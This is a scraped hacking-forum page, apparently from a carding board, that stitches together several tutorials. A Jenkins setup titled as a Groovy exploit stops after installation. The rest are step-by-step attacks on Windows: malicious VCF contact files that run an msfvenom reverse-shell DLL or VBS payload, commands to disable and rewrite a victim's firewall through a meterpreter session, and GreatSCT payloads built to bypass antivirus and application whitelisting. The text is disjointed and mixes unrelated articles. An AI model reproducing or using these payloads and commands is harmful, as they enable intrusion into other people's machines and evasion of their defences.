Jenkins penetration testing
Exploiting Groovy Script
Introduction of Jenkins
Jenkins is an open source automation server written in Java that offers a simple way to set up a continuous CI / CD pipeline. It supports version control tools, including AccuRev, CVS, Subversion, Git, Mercurial, Perforce, TD/OMS, ClearCase, and RTC, and can execute Apache Ant, Apache Maven, and sbt based projects as well as arbitrary shell scripts and Windows batch commands. The creator of Jenkins is Kohsuke Kawaguch. Jenkins achieves Continuous Integration with the help of plugins. Plugins allow the integration of Various DevOps stages. If you want to integrate a particular tool, you need to install the plugins for that tool. For example Git, Maven 2 project, Amazon EC2, HTML publisher etc.
Lab setup
Install Java
Now we need to install Jenkins and for this, it is mandatory that you are logged in from sudo user or root. Because Jenkins is a Java application, installing Java is the first step. Update the package index and install the OpenJDK Java 8 package using the following commands:
sudo apt update
sudo apt install openjdk-8-jdk
1
2
sudo apt update
sudo apt install openjdk-8-jdk
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-EXZVdtuPnI4/XFWIgX_6yAI/AAAAAAAAciI/2XfcpE8XW-EwQdSKmXsTx0JG0HctzFwFACLcBGAs/s1600/1.png?w=687&ssl=1)
Import the GPG keys
wget -q -O - [To see content please register here] | sudo apt-key add -
1
wget -q -O - [To see content please register here] | sudo apt-key add -
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-82OJznxaeDo/XFWIhLNB1ZI/AAAAAAAAciQ/oF0Kgu_b4fIz6czXYmTZ54RQexXFKsPVACLcBGAs/s1600/2.png?w=687&ssl=1)
Install Jenkins
When the key is added, the system returns all right. Next, add the Debian package repository to the source list of the server:
sudo sh -c 'echo deb [To see content please register here] binary/ > /etc/apt/sources.list.d/jenkins.list'
sudo apt update
1
2
sudo sh -c 'echo deb [To see content please register here] binary/ > /etc/apt/sources.list.d/jenkins.list'
sudo apt update
The Jenkins version with the default Ubuntu packages is often behind the project’s latest version. You can use project-maintained packages to install Jenkins to take advantage of the latest fixes and features. Now open the kali terminal and install Jenkins from the given link below-
sudo apt install jenkins
sudo ufw allow 8080
1
2
sudo apt install jenkins
sudo ufw allow 8080
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZvWtk_WZO0s/XFWIhUlsZqI/AAAAAAAAciU/ykx6bZFK7pAdEmv_wUxKVwtm9KFXSq_0wCLcBGAs/s1600/3.png?w=687&ssl=1)
You can use its status command to check that Jenkins has successfully started.
systemctl status jenkins
1
systemctl status jenkins
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-b5Bs3sHOQYE/XFWIhgIqGFI/AAAAAAAAciY/x9x9ECSm_EkFuGoXCw3TkjFr0jwdWrCHQCLcBGAs/s1600/4.png?w=687&ssl=1)
Visit Jenkins on its default port 8080 to set up your installation using your server domain name or IP address: http://your server IP or domain:8080
You should see the Unlock Jenkins screen displaying the location of the initial password:
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-B7rcQmCtcww/XFWIh7YMwnI/AAAAAAAAcic/Tmw6dyqcldAIsODbgJDz8U9uh9dhvu_4wCLcBGAs/s1600/5.png?w=687&ssl=1)
In the terminal window, you need to use the cat command to display the password:
Copy the password from your terminal
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
1
sudo cat /var/lib/jenkins/secrets/initialAdminPassword
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-_Y1gjOqBbWM/XFWIh93wb7I/AAAAAAAAcig/BMVfhF1CLBgn7fXodjQlsBLR1zMg-7GwgCLcBGAs/s1600/6.png?w=687&ssl=1)
Copy the password from your terminal and paste it into the Administrator password field and click Continue.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-ACwHDYcbaVA/XFWIiU9jtjI/AAAAAAAAcik/kSiI5-NHjIMqesA5-l1VIYcUrWq08TsOQCLcBGAs/s1600/7.png?w=687&ssl=1)
On the next page, you will be asked if you want to install suggested plugins or if you want to select specific plugins. Click the Install suggested plugins box and start the process of installation plugin instantly.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-oCQnOK9iWFA/XFWIi3MnQ_I/AAAAAAAAcio/rc-KTWrvQz8trfYgInODLDm8xdtE7bpwgCLcBGAs/s1600/8.png?w=687&ssl=1)
In my case, it took so much time to get all plugin installed successfully.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IYWeEuKtUHM/XFWIjFUECBI/AAAAAAAAcis/AnjFAic5Q2wG3PBtLqT8xRBQOzReVbDRACLcBGAs/s1600/9.png?w=687&ssl=1)
Once the installation is completed, you will get another page to create First Admin user account, fill the all essential details and click on “Save and Continue”.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-vI__S17_M0o/XFWIfzRh-VI/AAAAAAAAciA/ZyrRg98Uly0OFDgp-ssoNmC09wzt32TtQCLcBGAs/s1600/10.png?w=687&ssl=1)
You will see a confirmation page that “Jenkins is ready”. To visit Jenkins main dashboard, click Start using Jenkins Click Save and Finish after confirming the corresponding information.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-6tOUKFgIgIs/XFWIgDsE8BI/AAAAAAAAciE/mvsfnti2ob8kEtew9uW_Q-JRDcGNFSI4gCLcBGAs/s1600/11.png?w=687&ssl=1)
That’s wonderful! You have successfully installed Jenkins on your system.
|
|
|
|
| [Guide] How to Exploiting Windows PC using Malicious Contact VCF file |
|
Posted by: NINZA - 05-14-2020, 11:22 AM - Forum: Carders Home
- No Replies
|
 |
A huge shoutout to cybersecurity researcher John Page for bringing this vulnerability into the internet’s eye on 15th January 2019. This was a 0 day exploit and of course, works with the latest Windows 10 too. It is categorized under “Insufficient UI warning remote code execution” vulnerability.
Introduction: Basically what John discovered was that if we replaced the website in a VCF file with the local path of a CPL file, it tends to install that file instead of opening it on the browser. This is done by replacing the “http://” with “http.\\”, which is totally insane since a user would need the eyes of multi megapixels to discover an intentional path error of that kind! So all we need to do is to send the victim that VCF file along with our CPL file in a folder named “HTTP” (it has to be HTTP only for local path inclusion) and we shall get a shell.
To read more about the research follow the link [To see content please register here] .
Methodology:
- Making an msfvenom windows payload with the .dll extension.
- Sending the dll file in a folder named “HTTP”.
- Creating a contact file in the parent folder of “HTTP”.
- Adding a website into the contact.
- Changing the prefix of the website from http:// to http.\\
- Renaming the dll file to “<name of website>.cpl”
- Running multi handler in a window
- Opening the website path from the contact
- Spawning shell.
Proof of Concept:
The first step would be to make a payload with a dll extension. For this purpose, we are using msfvenom’s windows payload but any other payload should work just fine.
In this case, my local IP address is 192.168.1.109.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f dll > shell.dll
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f dll > shell.dll
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-sIqn0trSU_U/XFHH49B-29I/AAAAAAAAces/ThBjiXpdp_QD9XNneOjg4kpnlPEJHVKBQCLcBGAs/s1600/1.png?w=687&ssl=1)
Next, we transfer this payload to the victim machine in a new folder named HTTP. This has to be HTTP and nothing else since we are including a path later on in the website link (that has HTTP in its URL). If the URL is prefixed by some other protocol like FTP, make the directory’s name as ftp. And it has to be in the current directory too. So we copy this shell.dll file into the victim machine.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/--bCrgYH-Jbg/XFHH4-4t5CI/AAAAAAAAcew/t-2-zwMMOa8h1K2cV4zuppRxXVQ_9rZiQCLcBGAs/s1600/2.png?w=687&ssl=1)
Next and the most important step is to make a contact VCF file. You can download a sample VCF too and add a website but we made a new contact file. The system we are using is windows 10 so the version of VCF file may differ from yours but it would work just the same.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-JAhnB-POjgw/XFHH4wjL2sI/AAAAAAAAce0/7Gn7Df7CHtITd9MlZVTn_xjAFg1VQXshACLcBGAs/s1600/3.png?w=687&ssl=1)
Add any name in the contact file.
I added Raj Chandel.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-dXRjtKtxNgg/XFHH6EN0XgI/AAAAAAAAce4/TZTx5oyy-u4EBbMQR73MPM0iHldBuJs7wCLcBGAs/s1600/4.png?w=687&ssl=1)
Traverse to the next tab home and you’ll see a text box to input a website. Add any website’s name as you desire. I added my website’s name “hackingarticles.in” but here is the most important thing you have to note here:
A generic website’s link is [To see content please register here] but we modify the prefix just a little by replacing the http:// with http.\\
This is because we don’t actually want to include a website but we want to include a path to our DLL file so that when the victim click’s on the website, our DLL should run.
Here, we are suffixing the website link with “.cpl” extension. A CPL file is a control panel item, such as Displays, Mouse, Sound, or Networking, used by the Windows operating system.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-_yOw1T-irBw/XFHH6a-JJeI/AAAAAAAAce8/VkHkOL80FoQw6jIbxf5JUUfR6MehsdwggCLcBGAs/s1600/6.png?w=687&ssl=1)
Save contact. Now rename our payload from shell.dll to “www.hackingarticles.in.cpl”
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-o52jr3bIw9c/XFHH6-KhrBI/AAAAAAAAcfE/3hK0R1lhZsobS9gK5Nj14yFyySgb1_XNgCLcBGAs/s1600/7.png?w=687&ssl=1)
Now we are prepped and ready to run the DLL file so we set up multi/handler on a terminal window and opened the contact on victim’s machine.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-gyV-CFvvO3s/XFHH7TivJRI/AAAAAAAAcfI/S3mdxiu88vsDI33Hqe-TmFPsDM_zoZu3gCLcBGAs/s1600/8.png?w=687&ssl=1)
As soon as we click on the link here, we will see a session is obtained in the kali terminal!
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-TWQCMlbTHwI/XFHH7zLZ8vI/AAAAAAAAcfM/oilaQZxYlIgoaQyRNYAoP4Z7wEKCPHfhQCLcBGAs/s1600/9.png?w=687&ssl=1)
This spawns a shell of the current user of windows that is logged on.
Conclusion: This is an amazing vulnerability discovered by John Page and all the working versions of windows that support contact VCF files are affected by it. As you can see we have spawned a windows 10 shell here, it is safe to say lower versions are affected too. To read more about the discovery, follow the link to John Page’s website [To see content please register here] . Thanks for reading.
This article is will provide an in-depth post exploitation guide to gather all the information about the victim’s Firewall and network settings.
Table of Content :- Introduction to Firewall
- Rules of Firewall
- Advantages of Firewall
- Types of Firewall
- Importance of firewall
- Introduction to netsh
- How to block a TCP Port on remote PC
- How to block multiple TCP ports
- How to view firewall rules
- How to delete firewall rules
- How to add firewall rules
- View current profile status
- Modifying the firewall further
Introduction to firewall
Firewall is a network security system designed to prevent unauthorized access to or from a private network. Firewalls can be implemented in varied modes i.e. hardware, software, or a combination of both. There are many types of firewall such as Proxy firewall, Application Firewall, Stateful firewall, Packet firewall, etc.
Firewalls are connected to the network and are frequently used to prevent unauthorized Internet users from accessing private networks connected to the Internet, especially intranets ensuring security. All messages entering into or leaving the intranet pass through a firewall, which examines each message and block those which do not meet the specified security criteria.
Rules of firewall
Firewall is functional on two rules which are always encircled by Inbound and outbound rules:
Inbound rules: These are the ones which filter traffic passing from the network to the local computer based on the filtering conditions specified in the rule.
Outbound rules: These are the ones which filter traffic passing from the local computer to the network based on the filtering conditions specified in the rule.
Both inbound and outbound rules can be configured to allow or block traffic as needed.
In other words, we can say that Inbound rules are the rules related to traffic that enters your computer. If you are running a Web Server on your computer then you will have to tell the Firewall that outsiders are allowed to connect to it. Further, Outbound rules categorize some programs to use the Internet yet block others as Outbound rules are related to the traffic that is sent from your computer. You will want to let your Web Browser (Internet Explorer, Firefox, Safari, Chrome, Opera…) have accessibility to the Internet but at the same time with the help of outbound rule you can block desired websites, so a command can be inserted which displays that Windows Firewall is allowed or disallowed.
Advantages of Firewall - Network isolation
- Network flexibility
- No malware protection is required
- No maintenance
Types of firewall- Packet filtering firewall
- Circuit lever firewall
- Stateful inspection firewall
- Application-level firewall
- Next-gen firewalls
Importance of firewall
A firewall has now become an important part of a network. Firewall is important because :- It protects your computer from unauthorized remote access
- It blocks linking your messages to unwanted content
- It will block unnecessary and immoral content
- It matches the details of data packets for reliable information.
- IP and Domain can also be blocked or allowed.
Introduction to netsh
Netsh is a command-line utility that allows you to display the configuration of your computer network till time or you can change the network configuration of a computer that is currently running. Netsh commands can be run by typing commands at the netsh prompt and they can be used in batch files or scripts. Remote computers and the local computer can be configured by using netsh commands. Netsh also provides a scripting feature that allows you to run a group of commands in batch mode against a specified computer. With netsh, you can save a configuration script in a text file for archival purposes or to help you configure other computers.
(Reference: [To see content please register here] )
Now let us assume that the firewall of the victim’s PC is enabled:
So to turn off the firewall of victim’s PC, first of all, get a session through meterpreter and then take the administrator privileges of the remote PC. Move on to the shell of remote PC and write
netsh firewall set opmode mode=disable
1
netsh firewall set opmode mode=disable
And like this, the firewall of remote PC will be disabled.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-w6VT1mrZM58/XGlnoK5qUxI/AAAAAAAAcwc/u6eE3q0R7u4Rt9pv53UZ290NTfgigtdXQCLcBGAs/s1600/3.png?w=687&ssl=1)
How to Block TCP Port on Remote PC:
We can not only turn off or on the firewall through Metasploit but we can also block and allow access to any particular port. Yes, that means we can control Inbound and Outbound rules as well. Again after having the session through meterpreter and bypassing administrative privileges and going to the shell of the remote PC just type
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
1
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
Here,
Name = The name of the rule. (Pick something descriptive)
Protocol = The protocol we are going to block (UDP or TCP for most cases)
Dir = The direction of the block. Can be IN or OUT
Remote Port = The port of the remote host that is going to be blocked
Action = Could be blocked or allowed. In our case, we want to block the connection
Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:
And if you check its properties and click on ‘Protocols and Ports’ tab then you can see the result.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iVOTqgCtejQ/XGlnoQRMZbI/AAAAAAAAcwk/eCeeVzcTuXM-sDKUM5JJSOvqINyibw-0gCLcBGAs/s1600/6.png?w=687&ssl=1)
How to Block Multiple TCP Ports
Now that we have how to block a port in remote PC, let us dig a little deeper i.e we can not only block one port but also two or more than two. And to block two to more port again take a meterpreter session as well as administrator privileges of the remote PC and just write
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80,443 action=block
1
netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80,443 action=block
Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:
And if you check its properties and click on ‘Protocols and Ports’ tab then you will find that now it has blocked both port 80 and port 443:
Now, by blocking ports 80 and 443 we have blocked the HTTP and HTTPS services on the remote PC and so our victim will not be able to access any website. And the following error is displayed :
How to view Firewall Rules
Now we will learn how to view inbound and outbound rules of the firewall in remote PC, how to delete a rule, how to allow the port on which our payload will work in future, how to stop your remote PC from being ping.
First of all, let us assume that there is a blocked port in an outbound rule in our remote PC:
To know which rule is enabled and disabled in our remote PC, take a session through meterpreter and bypass administrator privileges. After doing so type:
netsh advfirewall firewall show rule name=all
1
netsh advfirewall firewall show rule name=all
Once this command is executed, all the rules will be displayed :
How to delete Firewall rules
In the above image, we can see that Port 80 and Port 443 is blocked under the rule name “Block All Ports”. So to delete that rule in the remote PC type :
netsh advfirewall firewall delete rule name="Block Ports"
1
netsh advfirewall firewall delete rule name="Block Ports"
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-w7BLcp084To/XGkli3WTNlI/AAAAAAAAcuU/I7Ba7QksEOgXp5N2Sp2Dfgj18RgnN_fQgCLcBGAs/s1600/5.png?w=687&ssl=1)
Once this command executed, the said rule will be deleted. And you can run
netsh advfirewall firewall show rule name=all
1
netsh advfirewall firewall show rule name=all
Command again to see the result :
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-jEtNGaeawuk/XGkliggMVjI/AAAAAAAAcuM/NbtHPrPQc9wZz2SfQSKIZmoXTcAoJwWfQCLcBGAs/s1600/4.png?w=687&ssl=1)
And we can also see the result in the firewall outbound rules :
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-pmc7CthUth4/XGlnlku-J1I/AAAAAAAAcwA/bw42LqJr4fINucBKIv5Lbl8NUBHsZc6swCLcBGAs/s1600/15.png?w=687&ssl=1)
How to add a rule in Firewall
Our normal payload works on port 4444. Now, if we want to allow port 4444 so we can upload a payload which works on port 4444, we just have to type :
netsh advfirewall firewall add rule name="Allow Port 4444" protocol=TCP dir=out remoteport=4444 action=allow
1
netsh advfirewall firewall add rule name="Allow Port 4444" protocol=TCP dir=out remoteport=4444 action=allow
Once this command executed, port 4444 will be allowed on our remote PC :
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZUxLCBMbniA/XGlnlq6KwQI/AAAAAAAAcwE/oaA-nBg9bbAm09455VxbcmTXGe0RaDAWwCLcBGAs/s1600/16.png?w=687&ssl=1)
Now to block stop our remote PC from being pinged we can just type :
netsh advfirewall firewall add rule name="All ICMPV4" dir=in action=block protocol=icmpv4
1
netsh advfirewall firewall add rule name="All ICMPV4" dir=in action=block protocol=icmpv4
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-y1vpcnqA34A/XGklkKeCeBI/AAAAAAAAcuc/gJe3ipqpVK8keeIAWTjZqg-cQcyOoFzSACLcBGAs/s1600/7.png?w=687&ssl=1)
When this command will be executed, a rule blocking ping to our remote PC will be created:
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-P1oaWLlf2Yw/XGlnmKYbI6I/AAAAAAAAcwI/bS6SX87wH2oap-yN7o1gnK26r50MMpM2ACLcBGAs/s1600/17.png?w=687&ssl=1)
And the following will be the result :
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-pGT4g1xR1N8/XGklkfndUpI/AAAAAAAAcug/qjRQgmZek7k42nz2ArV2TQGL35XcnrHHQCLcBGAs/s1600/8.png?w=687&ssl=1)
View Current Profile Status
Now we will see how to block /allow particular IP Address in remote PC Firewall and also learn how to view details of programs added to the exception/allowed list and the details of port added to the exception/allowed list. Along with this, we will learn how to see the status of the main settings of Firewall and what its current profile, i.e is whether it is on or off.
netsh advfirewall show currentprofile
1
netsh advfirewall show currentprofile
After knowing the profile of the firewall we can see which programs are allowed by the host of Remote PC. For this, type:
netsh firewall show allowedprogram
1
netsh firewall show allowedprogram
Our next command is to see the status of the main settings. And to see them, type:
netsh firewall show config
1
netsh firewall show config
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-47hB9tPBmiA/XGklg0TLlRI/AAAAAAAAct4/iS4D0DOSTm4nb6XuE8P8evVR_YVWkvjcQCLcBGAs/s1600/11.png?w=687&ssl=1)
Next, we can also see the location of the file in which all the firewall logs are kept. And for this, type:
netsh firewall show logging
1
netsh firewall show logging
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-IBbYrGqkx_g/XGklhnH-sdI/AAAAAAAAct8/2MBWQD2bwyMpjkb6GZ_ES8OKfVNEWJDPgCLcBGAs/s1600/12.png?w=687&ssl=1)
Modifying Firewall Further
The firewall also allows us to Block a single IP address while allowing others and vice versa. So first to let us learn how we can Block a single IP For this, type:
netsh advfirewall firewall add rule name="IP Block" dir=in interface=any action=block remoteip=192.168.0.15/32
1
netsh advfirewall firewall add rule name="IP Block" dir=in interface=any action=block remoteip=192.168.0.15/32
(In the above command “/32” is a subnet mask of IP.)
After executing the said command, we can see the following result:
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CTtOg32Itpw/XGlnmlpME3I/AAAAAAAAcwM/L7a9x---wagd57-dSfJ3xCu63fo0cL5iACLcBGAs/s1600/24.png?w=687&ssl=1)
And we now see the properties of the IP Block rule we can see that the IP: 192.168.0.15 is blocked
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-scJwPbNWXD0/XGlnnCPo0jI/AAAAAAAAcwQ/-wLINtD2Fyw8j3NjmXdqw6uetzuArXguQCLcBGAs/s1600/25.png?w=687&ssl=1)
Now, similarly, to allow a particular IP Address, type:
netsh advfirewall firewall add rule name="IP Allow" dir=in interface=any action=allow remoteip=192.168.0.15/32
1
netsh advfirewall firewall add rule name="IP Allow" dir=in interface=any action=allow remoteip=192.168.0.15/32
(In the above command “/32” is a subnet mask of IP)
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-6I_juoaF9o4/XGkliGWSQFI/AAAAAAAAcuE/tVerJv4Trz43R5QxEcaA-DvY9wJ2FvqOgCLcBGAs/s1600/14.png?w=687&ssl=1)
After executing the said command, you can see the following result:
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YjaJU3BdG1U/XGlnncp7a7I/AAAAAAAAcwU/-9ZIHTa3XDYpS55QB72OctPT6ibaOJLxQCLcBGAs/s1600/27.png?w=687&ssl=1)
And we now see the properties of the IP Block rule we can see that the IP: 192.168.0.15 is Allowed :
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QiFCIHlcJVg/XGlnnVkVKOI/AAAAAAAAcwY/6ZGDJGVwAUAXmFvh8OccdCgqdemuSwrggCLcBGAs/s1600/28.png?w=687&ssl=1)
After the 0 day exploit on malicious VCF file in windows, cybersecurity researcher John Page deserves another round of applause for bringing this vulnerability onto exploit-db’s eye on 23rd January 2019. This vulnerability further exploits the RCE vulnerability present in VCF with HTML injections. To read the previous article follow the link [To see content please register here] .
Introduction: The idea here is to include a malicious VBScript file into the email section of the VCF file so as to locally execute a script instead of opening the email via mailto. We’ll be using the anchor tag (<a>) of HTML to achieve the aforementioned task. This vulnerability is classified by John under “Mailto: HTML Link Injection Remote Code Execution”. To read more about the discovery and origin, follow the link [To see content please register here] .
Methodology:- Making an msfvenom payload of a .vbs format.
- Sending the VBS file to the victim.
- Creating a VCF file in the parent folder.
- Adding an email into the contact with HTML injection parameters.
- Running multi/handler in a separate window.
- Opening email in the VCF file.
- Spawning meterpreter.
So, without any further ado, let’s dive right into it.
Proof of Concept:
The first step would be to make a payload with a VBS extension. For this purpose, we are using msfvenom’s windows payload but any other payload should work just fine.
In my case, the local IP address is 192.168.1.109
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-2m1gMJ9alvw/XFPrPlc3zsI/AAAAAAAAchU/a4zvV4IqeI01ARAMoBMHwDJisqAL9OkkgCLcBGAs/s1600/1.png?w=687&ssl=1)
Once the payload is made, transfer the .vbs file into the victim’s PC.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-FUz7-1jY3n0/XFPrP1cBeaI/AAAAAAAAchc/577AJxiFPyAIgxP0sW-oyPzDPmhJROskACLcBGAs/s1600/2.png?w=687&ssl=1)
Next and the most important step is to make a contact VCF file. You can download a sample VCF too and add a website but we made a new contact file. The system we are using is Windows 10 so the version of VCF file may differ from yours but it would work just the same. Once the contact file is made, under the e-mail tab, add the HTML injection like:
<a href="raj\shell.vbs">[email protected]</a>
1
<a href="raj\shell.vbs">[email protected]</a>
Mind here that our parent folder’s name is “Raj” and the malicious VBS file is “shell.vbs”.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4hD7iSMOKpU/XFPrPnU7nyI/AAAAAAAAchY/fypLvjVrwoUMwprFA5MRe54arYULE3ewgCLcBGAs/s1600/3.png?w=687&ssl=1)
Now you’ll have to add this email address by clicking on the add button. As you can see it would look something like this:
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jT4iz1g8qgI/XFPrQaFNLFI/AAAAAAAAchg/FYK-FSisuI4IkKiNPIoSOloDkmIfV3e2ACLcBGAs/s1600/4.png?w=687&ssl=1)
Once the email address gets added, you’ll have to save the contact file. The final VCF file is going to look something like this:
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-LPtHdReSRhA/XFPrQ-7MFwI/AAAAAAAAchk/Pc6yOsfgqa8UtOWRouseHEKwcMUGgaxxACLcBGAs/s1600/5.png?w=687&ssl=1)
By the aforementioned HTML injection tag, we are prompting a local inclusion instead of a mail prompt. This will run the malicious code and thereby, theoretically would spawn meterpreter. So, as soon as we add the mail in the VCF file, Windows will prompt you like “The e-mail address you have entered is not a valid internet e-mail address. Do you still want to add this address?” Click yes.
When you click on the mail in the final processed VCF file, you’d probably have opened a new meterpreter session.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Td1HboYgB4g/XFPrQxVqtkI/AAAAAAAAcho/RkRTbxzYla03iKdhvCFBgoAw3l-s8BFGACLcBGAs/s1600/7.png?w=687&ssl=1)
Conclusion: This is an amazing vulnerability discovered by John Page and all the working versions of windows that support contact VCF files are affected by it. As you can see we have spawned a windows 10 shell here, it is safe to say lower versions are affected too. To read more about the discovery, follow the link to John Page’s website here. Thanks for reading.
While writing [To see content please register here] , we found a new tool which was specially designed for bypassing whitelisting application. So I decided to write this article where we are introducing another most interesting tool “Great SCT –A Metasploit payload generator” tool which is similar to Unicorn or msfvenom because it depends on the Metasploit framework to provide reverse connection of the victim’s machine. So let’s began with its tutorial and check its functionality.
Table of Content- GreatSCT
- Installation & Usages
- Generate malicious hta file
- Generate malicious sct file
- Generate malicious dll file
GreatSCT
GreatSCT is current under support by @ConsciousHacker, the project is called Great SCT (Great Scott). Great SCT is an open source project to generate application whitelist bypasses. This tool is intended for BOTH red and blue team. It is a tool designed to generate Metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions.
You can download it from here: [To see content please register here]
Installation & Usages
It must first be downloaded and installed in order to start using Great SCT. Run the following command to download Great SCT from github and also take care of its dependency tools while installing it.
This help to bypass Applocker policy by using the following tools:- Installutil.exe : The Installer tool is a command- line tool that lets you install and uninstall server resources in specific assemblies by running the installer components.
- Msbuild.exe : The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild.
- Mshta.exe : Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with.
- Regasm.exe : The Assembly Registration tool reads the metadata within an assembly and adds the necessary entries to the registry, which allows COM clients to create .NET Framework classes transparently.
- Regsvcs.exe : RegSvcs stands for Microsoft .NET Remote Registry Services it is known for .NET Services Installation.
- Regsvr32.exe : Regsvr32 is a command line utility for register and unregister OLE controls in the Windows Registry, such as DLLs and ActiveX controls.
git clone //github.com/GreatSCT/GreatSCT.git
cd GreatSCT
cd setup
./setup.sh
1
2
3
4
git clone //github.com/GreatSCT/GreatSCT.git
cd GreatSCT
cd setup
./setup.sh
Once it’s downloaded, type the following command to access the help commands:
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-oX3UcKfZaOI/XEwLhKlDRcI/AAAAAAAAcXw/CHj86zUyAVQyWNBIqeBqpmO1XQjLQ-e_wCLcBGAs/s1600/1.png?w=687)
use Bypass
1
use Bypass
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-arKGGScomc4/XEwLh8CyZII/AAAAAAAAcX0/4BLzysFzSRsZMdWTgoSpGBiyFP3AGlFXQCLcBGAs/s1600/2.png?w=687)
Now to get the list of payloads type :
list
1
list
![[Image: 3.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-rwhrP4ptiF4/XEwLkLURm7I/AAAAAAAAcYc/6jCxLz8vwtc17cqrKiL8ygUqTrFWcq18QCLcBGAs/s1600/3.png?w=687)
Generate malicious hta file
Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :
use mshta/shellcode_inject/base64_migrate.py
1
use mshta/shellcode_inject/base64_migrate.py
![[Image: 4.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-skPXDHxK8k4/XEwLlkP2SCI/AAAAAAAAcY4/Y0xRyVXKwb8ACQgMLsfhMH1fQHTIVBXgwCLcBGAs/s1600/4.png?w=687)
Once the command is executed, type :
generate
1
generate
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-6LQPVvZE-yY/XEwLl0WR82I/AAAAAAAAcY8/amszk8TZFPArUaJ8f2fi8vAv8PB7gmXjQCLcBGAs/s1600/5.png?w=687)
After executing the generate command, it asks you which method you want to use. As we will use msfvenom type 1 to choose the first option. Then click enter for meterpreter. Then supply lhost and lport, i.e. 192.168.1.107, 4321 respectively.
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-37DnY2EuCZQ/XEwLmI-6eqI/AAAAAAAAcZE/0S1ZVHxk6EkEqF2OSS14dace2GPSaoE5ACLcBGAs/s1600/6.png?w=687)
When generating the shellcode, it will ask you to give a name for a payload. By default, it will take ‘payload’ as name. As I didn’t want to give any name, I simply pressed enter.
![[Image: 7.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-KNIJm5IlVFQ/XEwLmBNWc7I/AAAAAAAAcZA/QPSVcTkdNPQGi24Dp8zekik6IEDo0RO4gCLcBGAs/s1600/7.png?w=687)
Now, it made two files. One resource file and other an hta file.
